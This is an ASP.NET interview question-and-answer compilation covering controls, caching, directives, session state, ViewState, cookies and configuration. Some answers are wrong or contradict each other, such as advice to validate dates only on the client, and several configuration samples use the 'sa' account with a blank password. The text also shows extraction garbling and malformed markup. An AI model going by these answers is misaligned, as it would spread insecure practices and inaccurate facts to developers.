A control authored by a user or a third-party software vendor that does not belong to the .NET
Framework class library. This is a generic term that includes user controls. A custom server control is used
in Web Forms (ASP.NET pages). A custom client control is used in Windows Forms applications.

User Controls

In ASP.NET: A user-authored server control that enables an ASP.NET page to be re-used as a server
control. An ASP.NET user control is authored declaratively and persisted as a text file with an .ascx
extension. The ASP.NET page framework compiles a user control on the fly to a class that derives from the
System.Web.UI.UserControl class.

What are the validation controls?

A set of server controls included with ASP.NET that tests user input in HTML and Web server controls for
programmer-defined requirements. Validation controls perform input checking in server code. If the user
is working with a browser that supports DHTML then the validation controls can also perform validation
using a client script.

What's the difference between Response.Write() andResponse.Output.Write()?

The latter one allows you to write formatted output.

What methods are fired during the page load? Init ()

When the page is instantiated, Load() when the page is loaded into server memory; PreRender() for the
brief moment before the page is displayed to the user as HTML and Unload() when the page finishes
loading.

Where does the Web page belong in the .NET Framework class hierarchy?

System.Web.UI.Page

Where do you store the information about the user's locale?

System.Web.UI.Page.Culture

What's the difference between Codebehind="MyCode.aspx.cs" and src="MyCode.aspx.cs"?

CodeBehind is relevant to Visual Studio.NET only.

What's a bubbled event?

When you have a complex control, like DataGrid, writing an event processing routine for each object (cell,
button, row and so on) is quite tedious. The controls can bubble up their event handlers, allowing the
main DataGrid event handler to take care of its constituents.

Suppose you want a certain ASP.NET function executed on MouseOver over a certain button.

Where do you add an event handler?

It's the Attributes property, the Add function of that property. For example:
btnSubmit.Attributes.Add("onMouseOver","someClientCode();")

What data type does the RangeValidator control support?

Integer, String and Date.

What are the various types of caching?

Caching is a technique widely used in computing to increase performance by keeping frequently accessed
or expensive data in memory. In the context of a web application, caching retains the pages or data across
HTTP requests and reuses them without the expense of recreating them. ASP.NET has 3 kinds of caching,
strategiesOutput, CachingFragment and CachingData.

CachingOutput Caching: Caches the dynamic output generated by a request. Some times it is useful to
cache the output of a website even for a minute, which will result in a better performance. For caching the
entire page the page should have OutputCache directive.<%@ OutputCache Duration="60"
VaryByParam="state" %>

Fragment Caching: Caches the portion of the page generated by the request. Some times it is not
practical to cache the entire page, in such cases we can cache a portion of page<%@ OutputCache
Duration="120" VaryByParam="CategoryID;SelectedID"%>

Data Caching: Caches the objects programmatically. For data caching ASP.Net provides a cache object
for eg: cache["States"] = dsStates;

What do you mean by authentication and authorization?

Authentication is the process of validating a user on the credentials (username and password) and
authorization performs after authentication. After Authentication a user will be verified for performing the
various tasks, It access is limited it is known as authorization.

What are various types of directives in .NET?

@Page: Defines page-specific attributes used by the ASP.NET page parser and compiler. Can be included
only in .aspx files <%@ Page AspCompat="TRUE" language="C#" %>
@Control: Defines control-specific attributes used by the ASP.NET page parser and compiler. Can be
included only in .ascx files. <%@ Control Language="VB" EnableViewState="false" %>
@Import: Explicitly imports a namespace into a page or user control. The Import directive cannot have
more than one namespace attribute. To import multiple namespaces, use multiple @Import directives. <%
@ Import Namespace="System.web" %>
@Implements: Indicates that the current page or user control implements the specified .NET framework
interface.<%@ Implements Interface="System.Web.UI.IPostBackEventHandler" %>
@Register: Associates aliases with namespaces and class names for concise notation in custom server
control syntax.<%@ Register Tagprefix="Acme" Tagname="AdRotator" src="AdRotator.ascx" %>
@Assembly: Links an assembly to the current page during compilation, making all the assembly's classes
and interfaces available for use on the page. <%@ Assembly Name="MyAssembly" %><%@ Assembly
src="MySource.vb" %>
@OutputCache: Declaratively controls the output caching policies of an ASP.NET page or a user control
contained in a page<%@ OutputCache Duration="#ofseconds" Location="Any | Client | Downstream |
Server | None" Shared="True | False" VaryByControl="controlname" VaryByCustom="browser |
customstring" VaryByHeader="headers" VaryByParam="parametername" %>
@Reference: Declaratively indicates that another user control or page source file should be dynamically
compiled and linked against the page in which this directive is declared.

Note: A few of the references are were taken from other sites/sources.

How do I debug an ASP.NET application that wasn't written with Visual Studio.NET and that
doesn't use code-behind?

Start the DbgClr debugger that comes with the .NET Framework SDK, open the file containing the code
you want to debug, and set your breakpoints. Start the ASP.NET application. Go back to DbgClr, choose
"Debug Processes" from the Tools menu, and select "aspnet_wp.exe" from the list of processes. (If
"aspnet_wp.exe" doesn't appear in the list then check the "Show system processes" box.) Click the
"Attach" button to attach to "aspnet_wp.exe" and begin debugging.

Be sure to enable debugging in the ASPX file before debugging it with DbgClr. You can enable ASP.NET
to build debug executables by placing a:

<%@ Page Debug="true" %>
statement at the top of an ASPX file or a:
<COMPILATION debug="true" />
statement in a Web.config file.

Can a user browsing my Web site read my Web.config or Global.asax files?

No. The <HTTPHANDLERS> section of Machine.config, which holds the master configuration settings for
ASP.NET, contains entries that map ASAX files, CONFIG files, and selected other file types to an HTTP
handler named HttpForbiddenHandler, which fails attempts to retrieve the associated file. You can modify
it by editing Machine.config or including a section in a local Web.config file.

What's the difference between Page.RegisterClientScriptBlock and Page.RegisterStartupScript?

RegisterClientScriptBlock is for returning blocks of client-side script containing functions.
RegisterStartupScript is for returning blocks of client scripts, not packaged in functions. In other words,
code that's to execute when the page is loaded. The latter positions script blocks near the end of the
document so elements on the page that the script interacts with are loaded before the script runs. <%@
Reference Control="MyControl.ascx" %>

Is it necessary to lock application state before accessing it?

Only if you're performing a multi-step update and want the update to be treated as an atomic operation.
Here's an example:
Application.Lock ();
Application["ItemsSold"] = (int) Application["ItemsSold"] + 1;
Application["ItemsLeft"] = (int) Application["ItemsLeft"] - 1;
Application.UnLock ();

By locking application state before updating it and unlocking it afterwards, you ensure that another
request being processed on another thread doesn't read application state at exactly the wrong time and
see an inconsistent view of it. If I update session state then should I lock it, too?
Are concurrent accesses by multiple requests executing on multiple threads a concern with session state?

Concurrent accesses aren't an issue with session state, for two reasons. One, it's unlikely that two requests
from the same user will overlap. Two, if they do overlap then ASP.NET locks down session state during
request processing so that two threads can't touch it at once. Session state is locked down when the
HttpApplication instance that's processing the request fires an AcquireRequestState event and unlocked
when it fires a ReleaseRequestState event.

Do ASP.NET forms authentication cookies provide any protection against replay attacks? Do they, for
example, include the client's IP address or anything else that would distinguish the real client from an
attacker?

No. If an authentication cookie is stolen then it can be used by an attacker. It's up to you to prevent this
from happening by using an encrypted communications channel (HTTPS). Authentication cookies issued
as session cookies, do, however, include a time-out valid that limits their lifetime. So a stolen session
cookie can only be used in replay attacks as long as the ticket inside the cookie is valid. The default time-
out interval is 30 minutes. You can change that by modifying the timeout attribute accompanying the
<forms> element in the Machine.config or a local Web.config file. Persistent authentication cookies do
not time-out and therefore are a more serious security threat if stolen.

How do I send e-mail from an ASP.NET application?

MailMessage message = new MailMessage ();
message.From = <email>;
message.To = <email>;
message.Subject = "Scheduled Power Outage";
message.Body = "Our servers will be down tonight.";
SmtpMail.SmtpServer = "localhost";
SmtpMail.Send (message);

MailMessage and SmtpMail are classes defined in the .NET Framework Class Library's System.Web.Mail
namespace. Due to a security change made to ASP.NET just before it shipped, you need to set SmtpMail's
SmtpServer property to "localhost" even though "localhost" is the default. In addition, you must use the
IIS configuration applet to enable localhost (127.0.0.1) to relay messages through the local SMTP service.

What are VSDISCO files?

VSDISCO files are DISCO files that support dynamic discovery of Web services. If you place the following
VSDISCO file in a directory on your Web server, for example then it returns references to all ASMX and
DISCO files in the host directory and any subdirectories not noted in <exclude> elements:

<?xml version="1.0" ?>
<dynamicDiscovery
xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17">
<exclude path="_vti_cnf" />
<exclude path="_vti_pvt" />
<exclude path="_vti_log" />
<exclude path="_vti_script" />
<exclude path="_vti_txt" />
</dynamicDiscovery>

How does dynamic discovery work?

ASP.NET maps the file name extension VSDISCO to an HTTP handler that scans the host directory and
subdirectories for ASMX and DISCO files and returns a dynamically generated DISCO document. A client
who requests a VSDISCO file gets back what appears to be a static DISCO document.

Note that VSDISCO files are disabled in the release version of ASP.NET. You can reenable them by
uncommenting the line in the <httpHandlers> section of Machine.config that maps *.vsdisco to
System.Web.Services.Discovery.DiscoveryRequestHandler and granting the ASPNET user account
permission to read the IIS metabase. However, Microsoft is actively discouraging the use of VSDISCO files
because they could represent a threat to Web server security.

Is it possible to prevent a browser from caching an ASPX page?

Just call SetNoStore on the HttpCachePolicy object exposed through the Response object's Cache
property, as demonstrated here:

<%@ Page Language="C#" %>
<html>
<body>
<%
Response.Cache.SetNoStore ();
Response.Write (DateTime.Now.ToLongTimeString ());
%>
</body>
</html>

SetNoStore works by returning a Cache-Controll; a private, no-store header in the HTTP response. In this
example, it prevents caching of a Web page that shows the current time.

What does AspCompat="true" mean and when should I use it?

AspCompat is an aid in migrating ASP pages to ASPX pages. It defaults to false but should be set to true
in any ASPX file that creates apartment-threaded COM objects; that is, COM objects registered with
ThreadingModel=Apartment. That includes all COM objects written with Visual Basic 6.0. AspCompat
should also be set to true (regardless of threading model) if the page creates COM objects that access
intrinsic ASP objects such as Request and Response. The following directive sets AspCompat to true:

<%@ Page AspCompat="true" %>

Setting AspCompat to true does two things. First, it makes intrinsic ASP objects available to the COM
components by placing unmanaged wrappers around the equivalent ASP.NET objects. Second, it improves
the performance of calls that the page places to apartment-threaded COM objects by ensuring that the
page (actually, the thread that processes the request for the page) and the COM objects it creates share
an apartment. AspCompat="true" forces ASP.NET request threads into single-threaded apartments (STAs).
If those threads create COM objects marked ThreadingModel=Apartment then the objects are created in
the same STAs as the threads that created them. Without AspCompat="true," request threads run in a
multithreaded apartment (MTA) and each call to an STA-based COM object incurs a performance hit when
it's marshaled across apartment boundaries.

Do not set AspCompat to true if your page uses no COM objects or if it uses COM objects that don't
access ASP intrinsic objects and that are registered ThreadingModel=Free or ThreadingModel=Both.

Explain the differences between Server-side and Client-side code?

Server-side scripting means that all the script will be executed by the server and interpreted as needed.
ASP doesn't have some of the functionality like sockets, uploading, and so on. For these you need to
make custom components usually in VB or VC++. Client-side scripting means that the script will be
executed immediately in the browser such as form field validation, clock, email validation, and so on.
Client-side scripting is usually done in VBScript or JavaScript. Download time, browser compatibility, and
visible code, since JavaScript and VBScript code is included in the HTML page, then anyone can see the
code by viewing the page source. Also possible security hazards for the client computer.

What type of code (server or client) is found in a Code-Behind class?

C#.

Should validation (such as did the user enter a real date) occur server-side or client-side? Why?

Client-side validation because there is no need to request a server-side date when you could obtain a
date from the client machine.

What are ASP.NET Web Forms? How is this technology different than what is available though ASP?

Web Forms are the heart and soul of ASP.NET. Web Forms are the User Interface (UI) elements that
provide your Web applications their look and feel. Web Forms are similar to Windows Forms in that they
provide properties, methods, and events for the controls that are placed onto them. However, these UI
elements render themselves in the appropriate markup language required by the request, for example
HTML. If you use Microsoft Visual Studio .NET then you will also get the familiar drag-and-drop interface
used to create your UI for your Web application.

What is the difference between Server.Transfer and Response.Redirect? Why would I choose one over
the other?

In earlier versions of IIS, if we wanted to send a user to a new Web page then the only option we had
was Response.Redirect. While this method does accomplish our goal, it has several important
drawbacks. The biggest problem is that this method causes each page to be treated as a separate
transaction. Besides making it difficult to maintain your transactional integrity, Response.Redirect
introduces some additional headaches. First, it prevents good encapsulation of code. Second, you lose
access to all of the properties in the Request object. Sure, there are workarounds, but they're difficult.
Finally, Response.Redirect necessitates a round trip to the client, which, on high-volume sites, causes
scalability problems.

As you might suspect, Server.Transfer fixes all of these problems. It does this by performing the transfer
on the server without requiring a roundtrip to the client.

How can you provide an alternating color scheme in a Repeater control?

AlternatingItemTemplate Like the ItemTemplate element, but rendered for every other row (alternating
items) in the Repeater control. You can specify a different appearance for the AlternatingItemTemplate
element by setting its style properties.

Which template must you provide, in order to display data in a Repeater control?

ItemTemplate.

What event handlers can I include in Global.asax?

Application_Start, Application_End, Application_AcquireRequestState,
Application_AuthenticateRequest, Application_AuthorizeRequest, Application_BeginRequest,
Application_Disposed, Application_EndRequest, Application_Error,
Application_PostRequestHandlerExecute,
Application_PreRequestHandlerExecute, Application_PreSendRequestContent,
Application_PreSendRequestHeaders, Application_ReleaseRequestState,
Application_ResolveRequestCache, Application_UpdateRequestCache, Session_Start and Session_End.

You can optionally include "On" in any of the method names. For example, you can name a
BeginRequest event handler Application_BeginRequest or Application_OnBeginRequest. You can also
include event handlers in Global.asax for events fired by custom HTTP modules. Note that not all of the
event handlers make sense for Web Services (they're designed for ASP.NET applications in general,
whereas .NET XML Web Services are specialized instances of an ASP.NET app). For example, the
Application_AuthenticateRequest and Application_AuthorizeRequest events are designed to be used
with ASP.NET Forms authentication.

What is different between webconfig.xml and Machineconfig.xml?

Web.config and machine.config both are configuration files. Web.config contains settings specific to an
application whereas machine.config contains settings to a computer. The Configuration system first
searches settings in machine.config file and then looks in application configuration files. Web.config can
appear in multiple directories on an ASP.NET Web application server. Each Web.config file applies
configuration settings to its own directory and all child directories below it. There is only a
Machine.config file on a web server.

If I'm developing an application that must accomodate multiple security levels using a secure login and
my ASP.NET web appplication is spanned across three web-servers (using round-robbin load balancing)
then what would be the best approach to maintain login-in state for the users?

Use the state server or store the state in the database. This can be easily done through a simple setting
change in the web.config.

<SESSIONSTATE
StateConnectionString="tcpip=127.0.0.1:42424" =""
sqlConnectionString="data source=127.0.0.1; user id=sa;" password=""
cookieless="false" =""
timeout="30" =""/>

You can specify mode as "stateserver" or "sqlserver".

Where would you use an iHTTPModule, and what are the limitations of any approach you might
use in implementing one?

"One of ASP.NET's most useful features is the extensibility of the HTTP pipeline, the path that data takes
between client and server. You can use them to extend your ASP.NET applications by adding pre-
processing and post-processing to each HTTP request coming into your application. For example, if you
wanted custom authentication facilities for your application then the best technique would be to intercept
the request when it comes in and processes the request in a custom HTTP module.

How do you turn off cookies for one page in your site?

Since no Page Level directive is present, I am afraid that can't be done.

How do you create a permanent cookie?

Permanent cookies are available until a specified expiration date, and are stored on the hard disk. So set
the "Expires" property to a value greater than DataTime.MinValue with respect to the current datetime. If
you want the cookie that never expires set its Expires property equal to DateTime.maxValue.

Which method do you use to redirect the user to another page without performing a round trip to
the client?

Server.Transfer and Server.Execute

What property do you need to set to tell the grid which page to go to when using the Pager
object?

CurrentPageIndex

Should validation (such as did the user enter a real date) occur server-side or client-side? Why?

It should occur both at client-side and server-side. By using an expression validator control with the
specified expression, in other words, the regular expression provides the ability to only validatate the date
specified that it is in the correct format. For checking the date, whether it is the real data or not should
hoever be done at the server-side, by getting the system date ranges and checking the date whether it is
between that range or not.

What does the "EnableViewState" property do? Why would I want it on or off?

Enable ViewState turns on the automatic state management feature that enables server controls to re-
populate their values on a round trip without requiring you to write any code. This feature is not free,
however, since the state of a control is passed to and from the server in a hidden form field. You should
be aware of when ViewState is helping you and when it is not. For example, if you are binding a control to
data on every round trip, then you do not need the control to maintain it's view state, since you will wipe
out any re-populated data in any case. ViewState is enabled for all server controls by default. To disable it,
set the EnableViewState property of the control to false.

What is the difference between Server.Transfer and Response.Redirect? Why would I choose one
over the other?

Server.Transfer(): the client is shown as it is on the requesting page only, but all the content is of the
requested page. Data can be persisted accros the pages using a Context.Item collection, which is one of
the best way to transfer data from one page to another keeping the page state alive.
Response.Redirect(): client knows the physical location (page name and query string as well).
Context.Items loses the persisitance when nevigating to the destination page. In earlier versions of IIS, if
we wanted to send a user to a new Web page, the only option we had was Response.Redirect While this
method does accomplish our goal, it has several important drawbacks. The biggest problem is that this
method causes each page to be treated as a separate transaction. Besides making it difficult to maintain
your transactional integrity, Response.Redirect introduces some additionalproblens. First, it prevents good
encapsulation of code. Second, you lose access to all of the properties in the Request object. Sure, there
are workarounds, but they're difficult. Finally, Response.Redirect necessitates a round trip to the client,
which, on high-volume sites, causes scalability problems. As you might suspect, Server.Transfer fixes all of
these problems. It does this by performing the transfer on the server without requiring a roundtrip to the
client.

Can you give an example of when it would be appropriate to use a web service as opposed to a
non-serviced .NET component?
Communicating through a Firewall when building a distributed application with 100s or 1000s of
users spread over multiple locations, there is always the problem of communicating between
client and server because of firewalls and proxy servers. Exposing your middle tier components as
Web Services and invoking them directly from a Windows UI is a very valid option.
Application Integration When integrating applications written in various languages and running
on disparate systems. Or even applications running on the same platform that have been written
by separate vendors.
Business-to-Business Integration. This is an enabler for B2B intergtation that allows one to expose
vital business processes to authorized suppliers and customers. An example would be exposing
electronic ordering and invoicing, allowing customers to send you purchase orders and suppliers
to send you invoices electronically.
Software Reuse. This takes place at multiple levels. Code Reuse at the Source code level or binary
componet-based resuse. The limiting factor here is that you can reuse the code but not the data
behind it. Webservice overcomes this limitation. A scenario could be when you are building an
app that aggregates the functionality of serveral other Applicatons. Each of these functions could
be performed by individual apps, but there is value in perhaps combining the the multiple apps to
present a unifiend view in a Portal or Intranet.
When not to use Web Services: Single-machine applicatons are applicatons running on the same
machine and that need to communicate with each other using a native API. You also have the
options of using component technologies such as COM or .NET Componets since there is very
little overhead.
Homogeneous Applications on a LAN. If you have Win32 or Winforms apps that want to
communicate with their server counterpart. It is much more efficient to use DCOM in the case of
Win32 apps and .NET Remoting in the case of .NET Apps.
Can you give an example of what might be most appropriately placed in the Application_Start and
Session_Start events?

The Application_Start event is guaranteed to occur only once throughout the lifetime of the application.
It's a good place to initialize global variables. For example, you might want to retrieve a list of products
from a database table and place the list in application state or the Cache object. SessionStateModule
exposes both Session_Start and Session_End events.

What are the advantages and disadvantages of viewstate?

The primary advantages of the ViewState feature in ASP.NET are:
1. Simplicity. There is no need to write possibly complex code to store form data between page
submissions.
2. Flexibility. It is possible to enable, configure, and disable ViewState on a control-by-control basis,
choosing to persist the values of some fields but not others.
There are, however a few disadvantages that are worth pointing out:
1. Does not track across pages. ViewState information does not automatically transfer from page to
page. With the session
approach, values can be stored in the session and accessed from other pages. This is not possible
with ViewState, so storing
data into the session must be done explicitly.
2. ViewState is not suitable for transferring data for back-end systems. That is, data must still be
transferred to the back
end using some form of data object.
Describe session handling in a webfarm, how does it work and what are the limits?

ASP.NET Sessions support storing of session data in 3 ways, i] In-Process (in the same memory that
ASP.NET uses) , ii] Out-of-Process using a Windows NT Service (in memory separate from ASP.NET) or iii]
in SQL Server (persistent storage). Both the Windows Service and SQL Server solutions support a webfarm
scenario where all the web-servers can be configured to share a common session state store.

1. Windows Service

We can start this service by "Start" | "Control Panel" | "Administrative Tools" | "Services". In that we service
names ASP.NET State Service. We can start or stop a service manually or configure it to start
automatically. Then we need to configure our web.config file as in the following:
<CONFIGURATION>
<configuration>
<system.web>
<SessionState
mode = "StateServer"
stateConnectionString = "tcpip=127.0.0.1:42424"
stateNetworkTimeout = "10"
sqlConnectionString="data source = 127.0.0.1; uid=sa;pwd="
cookieless ="Flase"
timeout= "20" />
</system.web>
</configuration>
</SYSTEM.WEB>
</CONFIGURATION>

Here ASP.Net Session is directed to use a Windows Service for state management on the local server (the
address 127.0.0.1 is the TCP/IP loop-back address). The default port is 42424. We can configure it to any
port but for that we need to manually edit the registry.

Use the following simple procedure:
In a webfarm make sure you have the same config file in all your web servers.
Also make sure your objects are serializable.
For the session state to be maintained across various web servers in the webfarm, the application
path of the web-site in the IIS Metabase should be identical in all the web-servers in the webfarm.
Which template must you provide to display data in a Repeater control?

You need to use the ItemTemplate to display data. The syntax is as follows:

< ItemTemplate >
< div class ="rItem" >
< img src="images/<%# Container.DataItem("ImageURL")%>" hspace="10" />
< b > <% # Container.DataItem("Title")%>
< /div >
< ItemTemplate >

How can you provide an alternating color scheme in a Repeater control?

Using the AlternatintItemTemplate

What property must you set, and what method must you call in your code, to bind the data from
some data source to the Repeater control?

Set the DataMember property to the name of the table to bind to. (If this property is not set then by
default the first table in the dataset is used.)

The DataBind method uses this method to bind data from a source to a server control. This method is
commonly used after retrieving a data set through a database query.

What method do you use to explicitly kill a user s session?

You can dump (Kill) the session yourself by calling the method Session.Abandon.

ASP.NET automatically deletes a user's Session object, dumping its contents, after it has been idle for a
configurable timeout interval. This interval, in minutes, is set in the <SESSIONSTATE>section of the
web.config file. The default is 20 minutes.

How do you turn off cookies for one page in your site?

Use the Cookie.Discard property, Gets or sets the discard flag set by the server. When true, this property
instructs the client application not to save the Cookie on the user's hard disk when a session ends.

Which two properties are on every validation control?

We have two common properties for every validation control as in the following:
1. Control to Validate,
2. Error Message.
What tags do you need to add within the asp:datagrid tags to bind columns manually?

< asp:DataGrid id="dgCart" AutoGenerateColumns="False" CellPadding="4" Width="448px" runat="server" >
< Columns >
< asp:ButtonColumn HeaderText="SELECT" Text="SELECT" CommandName="select" >< /asp:ButtonColumn >
< asp:BoundColumn DataField="ProductId" HeaderText="Product ID" >< /asp:BoundColumn >
< asp:BoundColumn DataField="ProductName" HeaderText="Product Name" >< /asp:BoundColumn >
< asp:BoundColumn DataField="UnitPrice" HeaderText="UnitPrice" >< /asp:BoundColumn >
< /Columns >
< /asp:DataGrid >

How do you create a permanent cookie?

Permanent cookies are the ones that are most useful. Permanent cookies are available until a specified expiration
date, and are stored on the hard disk. The location of cookies differs with each browser, but this doesn't matter, as
this is all handled by your browser and the server. If you want to create a permanent cookie called Name with a
value of Nigel, that expires in one month then you'd use the following code:

Response.Cookies ("Name") = "Nigel"
Response.Cookies ("Name"). Expires = DateAdd ("m", 1, Now ())
What tag do you use to add a hyperlink column to the DataGrid?
< asp:HyperLinkColumn > </ asp:HyperLinkColumn>

Which method do you use to redirect the user to another page without performing a round trip to the client?

Server.transfer

What is the transport protocol you use to call a Web service SOAP ?

HTTP Protocol

Explain role based security

Role Based Security lets you identify groups of users to allow or deny based on their role in the organization. In
Windows NT and Windows XP, roles map to names used to identify user groups. Windows defines several built-in
groups, including Administrators, Users, and Guests.To allow or deny access to certain groups of users, add the
<ROLES> element to the authorization list in your Web application's Web.config file. For example:

<AUTHORIZATION>< authorization >
< allow roles="Domain Name\Administrators" / > < !-- Allow Administrators in domain. -- >
< deny users="*" / > < !-- Deny anyone else. -- >
< /authorization >

How do you register JavaScript for webcontrols ?

You can register JavaScript for controls using the <CONTROL -name>Attribtues.Add(scriptname,scripttext)
method.

When do you set "<IDENTITY impersonate="true" />" ?

Identity is a webconfig declaration under System.web, which helps to control the application Identity of the web
applicaton. Which can be at any level (Machine, Site, application, subdirectory, or page). The attribute impersonates
"true" as the value to specify that client impersonation is used.

What are various templates available in Repeater, DataList and Datagrid?

Templates enable one to apply complicated formatting to each of the items displayed by a control. The Repeater
control supports five types of templates. HeaderTemplate controls how the header of the repeater control is
formatted. ItemTemplate controls the formatting of each item displayed. AlternatingItemTemplate controls how
alternate items are formatted. SeparatorTemplate displays a separator between each item displyed. FooterTemplate
controls how the footer of the repeater control is formatted. DataList and Datagrid supports two templates in
addition to the preceding five. The SelectedItem Template controls how a selected item is formatted and
EditItemTemplate controls how an item selected for editing is formatted.

What is ViewState? How is it managed ?

ASP.NET ViewState is a new kind of state service that developers can use to track UI state on a per-user basis.
Internally it uses an an old Web programming trick, roundtripping state in a hidden form field and bakes it right into
the page-processing framework. It needs less code to write and maintain state in your Web-based forms.

What is the web.config file?

The Web.config file is the configuration file for the ASP.Net web application. There is one web.config file for one
ASP.Net application that configures the specific application. The Web.config file is written in XML with specific
tags having specific meanings. It includes data that includes connections, Session States, Error Handling, Security
and so on.

For example:

< configuration >
< appSettings >
< add key="ConnectionString"
value="server=localhost;uid=sa;pwd=;database=MyDB" / >
< /appSettings >
< /configuration >

What are the advantages and benefits of viewstate?
When a form is submitted in classic ASP, all form values are cleared. Suppose you have submitted a form
with a lot of information and the server returns an error. You will need to return to the form and correct
the information. You click the back button, and what happens? All form values are cleared, and you will
need to start all over again! The site did not maintain your ViewState. With ASP .NET, the form reappears
in the browser window together with all form values. This is because ASP .NET maintains your ViewState.
The ViewState indicates the status of the page when submitted to the server.

What tags do you need to add within the asp:datagrid tags to bind columns manually?

Set the AutoGenerateColumns Property to false on the datagrid tag and then use the Column tag and an
ASP:databound tag as in the following:

< asp:DataGrid runat="server" id="ManualColumnBinding" AutoGenerateColumns="False" >
< Columns >
< asp:BoundColumn HeaderText="Column1" DataField="Column1"/ >
< asp:BoundColumn HeaderText="Column2" DataField="Column2"/ >
< /Columns >
< /asp:DataGrid >
<asp:DataGrid id=ManualColumnBinding runat="server" AutoGenerateColumns="False">
<COLUMNS> <asp:BoundColumn HeaderText="Column2" DataField="Column2"></asp:BoundColumn>
</asp:DataGrid>Which property on a Combo Box do you set with a column name, prior to setting the
DataSource, to display data in the combo box?
DataTextField and DataValueField

Which control would you use if you needed to ensure the values in two different controls
matched?

CompareValidator is used to ensure that two fields are identical.

What is validationsummary server control? Where is it used?

The ValidationSummary control allows you to summarize the error messages from all validation controls
on a Web page in a single location. The summary can be displayed as a list, a bulleted list, or a single
paragraph, based on the value of the DisplayMode property. The error message displayed in the
ValidationSummary control for each validation control on the page is specified by the ErrorMessage
property of each validation control. If the ErrorMessage property of the validation control is not set then
no error message is displayed in the ValidationSummary control for that validation control. You can also
specify a custom title in the heading section of the ValidationSummary control by setting the HeaderText
property.

You can control whether the ValidationSummary control is displayed or hidden by setting the
ShowSummary property. The summary can also be displayed in a message box by setting the
ShowMessageBox property to true.

What is the sequence of operations occuring when a page is loaded?

BeginTranaction: only if the request is transacted
Init: every time a page is processed
LoadViewState: Only on postback
ProcessPostData1: Only on postback
Load: every time
ProcessData2: Only on Postback
RaiseChangedEvent: Only on Postback
RaisePostBackEvent: Only on Postback
PreRender: everytime
BuildTraceTree: Only if tracing is enabled
SaveViewState: Every time
Render: Every time
End Transaction: Only if the request is transacted
Trace.EndRequest: Only when tracing is enabled
UnloadRecursive: Every request

What are some of the differences between ASP and ASP.Net?

"Active Server Pages (ASP) and ASP.NET are both server-side technologies for building web sites and web
applications, ASP.NET is Managed compiled code, ASP is interpreted. and ASP.Net is fully Object Oriented.
ASP.NET has been entirely re-architected to provide a highly productive programming experience based
on the .NET Framework, and a robust infrastructure for building reliable and scalable web applications."

Name the validation control available in ASP.Net

RequiredField, RangeValidator, RegularExpression, Custom Validator, Compare Validator.

What are the various ways of securing a web site that could prevent hacking and so on?
1. Authentication/Authorization
2. Encryption/Decryption
3. Maintaining web servers outside the corporate firewall
4. and so on.
What is the difference between in-proc and out-of-proc?

An inproc is one that runs in the same process area as that of the client giving tha advantage of speed but
the disadvantage of stability because if it crashes then it takes the client application also with it. Outproc is
one that works outside the client's memory, thus giving stability to the client, but we need to compromise
a bit on speed.

When you're running a component within ASP.NET, what process is it running within on Windows
XP? Windows 2000? Windows 2003?

On Windows 2003 (IIS 6.0) running in native mode, the component is running within the w3wp.exe
process associated with the application pool that has been configured for the web application containing
the component.
On Windows 2003 in IIS 5.0 emulation mode, 2000, or XP, it's running within the IIS helper process whose
name I do not remember, it being quite a while since I last used IIS 5.0.

What does aspnet_regiis -i do?

Aspnet_regiis.exe is the ASP.NET IIS Registration tool that allows an administrator or installation program
to easily update the script maps for an ASP.NET application to point to the ASP.NET ISAPI version
associated with the tool. The tool can also be used to display the status of all installed versions of ASP.
NET, register the ASP.NET version coupled with the tool, create client-script directories, and perform other
configuration operations.

When multiple versions of the .NET Framework are executing side-by-side on a single computer, the
ASP.NET ISAPI version mapped to an ASP.NET application determines which version of the Common
Language Runtime is used for the application.

The tool can be launched with a set of optional parameters. Option "i" installs the version of ASP.NET
associated with Aspnet_regiis.exe and updates the script maps at the IIS metabase root and below. Note
that only applications that are currently mapped to an earlier version of ASP.NET are affected

What is a PostBack?

The process in which a Web page sends data back to the same page on the server.

What is ViewState? How is it encoded? Is it encrypted? Who uses ViewState?

ViewState is the mechanism ASP.NET uses to maintain server control state values that don't otherwise
post-back as part of the HTTP form. ViewState Maintains the UI State of a Page.
ViewState is base64-encoded.

It is not encrypted but it can be encrypted by setting EnableViewStatMAC="true" and setting the
machineKey validation type to 3DES. If you want to not maintain the ViewState then include the directive
< %@ Page EnableViewState="false" % > at the top of an .aspx page or add the attribute
EnableViewState="false" to any control.

What is the < machinekey > element and what two ASP.NET technologies is it used for?

Configures keys to use for encryption and decryption of forms authentication cookie data and view state
data, and for verification of out-of-process session state identification.Therefore 2 ASP.Net techniques in
which it is used are Encryption/Decryption and Verification.

What three Session State providers are available in ASP.NET 1.1? What are the pros and cons of
each?

ASP.NET provides three distinct ways to store session data for your application: in-process session state,
out-of-process session state as a Windows service, and out-of-process session state in a SQL Server
database. Each has it advantages.

1. In-process session-state mode

Limitations
When using the in-process session-state mode, session-state data is lost if aspnet_wp.exe or the
application domain restarts.
If you enable Web Garden mode in the < processModel > element of the application's
Web.config file then do not use in-process session-state mode. Otherwise, random data loss can
occur.
Advantage
in-process session state is by far the fastest solution. If you are storing only small amounts of
volatile data in session state, it is recommended that you use the in-process provider.
2. The State Server simply stores session state in memory when in out-of-proc mode. In this mode the
worker process talks directly to the State Server

3. SQL mode, session states are stored in a SQL Server database and the worker process talks directly to
SQL. The ASP.NET worker processes are then able to take advantage of this simple storage service by
serializing and saving (using .NET serialization services) all objects within a client's Session collection at the
end of each Web request

Both these out-of-process solutions are useful primarily if you scale your application across multiple
processors or multiple computers, or where data cannot be lost if a server or process is restarted.

What is the difference between HTTP-Post and HTTP-Get?

As their names imply, both HTTP GET and HTTP POST use HTTP as their underlying protocol. Both of these
methods encode request parameters as name/value pairs in the HTTP request.

The GET method creates a query string and appends it to the script's URL on the server that handles the
request.

The POST method creates name/value pairs that are passed in the body of the HTTP request message.

Name and describe some HTTP Status Codes and what they express to the requesting client.

When users try to access content on a server that is running Internet Information Services (IIS) through
HTTP or File Transfer Protocol (FTP), IIS returns a numeric code that indicates the status of the request.
This status code is recorded in the IIS log, and it may also be displayed in the Web browser or FTP client.
The status code can indicate whether a specific request is successful or unsuccessful and can also reveal
the exact reason why a request is unsuccessful. There are 5 groups ranging from 1xx - 5xx of HTTP status
codes that exist as in the following:

101: Switching protocols.
200: OK. The client request has succeeded
302: Object moved.
400: Bad request.
500.13: Web server is too busy.

Explain < @OutputCache% > and the usage of VaryByParam, VaryByHeader.

OutputCache is used to control the caching policies of an ASP.NET page or user control. To cache a page
@OutputCache directive should be defined as follows < %@ OutputCache Duration="100"
VaryByParam="none" % >

